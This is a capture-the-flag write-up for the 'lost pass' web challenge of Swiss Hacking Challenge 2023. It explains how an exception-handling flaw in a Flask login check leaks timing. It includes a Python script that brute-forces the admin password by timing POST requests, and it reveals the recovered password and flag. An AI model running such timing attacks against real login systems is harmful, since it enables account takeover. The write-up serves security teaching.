Swiss Hacking Challenge 2023 - lost pass

Posted on Apr 29, 2023

Information

Challenge category: web

Challenge Description

Looks like somebody lost his password.

Files

We are given a lost_pass.zip archive. It contains a flask web app.

If we can login as admin we actually get the flag instead of lettuce. We somehow need to recover the admin password.

Analysis

The bug lies in the following function:

def check_password(username, hashed_password, password):
    # we split the hashed password into a list
    hashed_password = hashed_password.split(",")
    # we iterate over the password
    for x in range(len(hashed_password)):
        try:
            # we check if the hashed character is the same as the hashed password
            if hash_char(password[x]) != hashed_password[x]:
                # error_log does a timeout
                return error_log(username, password)
        except:
            # error_log is NOT called but 
            return False
    return True

If the given has the same characters as the start of the admin password the error log function doesn’t trigger. However as we’re looping based on the length of the admin password and our password (e.g. 1 character) is smaller, an exception is thrown.

If that exception happens we can’t login but there is no timeout. We can use this for a timing-based attack.

Exploitation

The following script does the time-based attack described above:

import requests
import time

# We assume there are no special characters
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

current_times = {}

# Function to calculate POST request time
def get_request_time(url, data, headers):
    before = time.perf_counter()
    requests.post(url, data=data, headers=headers)
    after = time.perf_counter()
    response_time = after - before
    print(f"Time for {data['password']}: {response_time}")
    return response_time


while True:
    length = 0
    password = ""
    while True:
        # Get the response time for each character
        times = []
        url = "http://chall.m0unt41n.ch:1337/login"
        for c in charset:
            # get the time for each character 3 times and calculate the average
            current_times = []
            req_time = get_request_time(
                url,
                data={"username": "admin", "password": password + c},
                headers={"Content-Type": "application/x-www-form-urlencoded"},
            )
            times.append(req_time)
            if req_time < 1:
                break

        password += str(charset[times.index(min(times))])
        length += 1
        print(password)

The password seems to be ducksnice

Flag

We can now login as admin and get the flag:

shc2023{ducks_like_2_sleep_quack}

Conclusion

Even though this had many solves I had very long until I figured out the bug in the exception handling. I tried another time-based attack before (because of the MD5 comparison) but that obviously didn’t work due to the respose time differences being way too slow.

References

  1. https://python.plainenglish.io/what-are-timing-attacks-and-how-do-we-avoid-them-in-python-99fc5fd8851
  2. https://stackoverflow.com/questions/43252542/how-to-measure-server-response-time-for-python-requests-post-request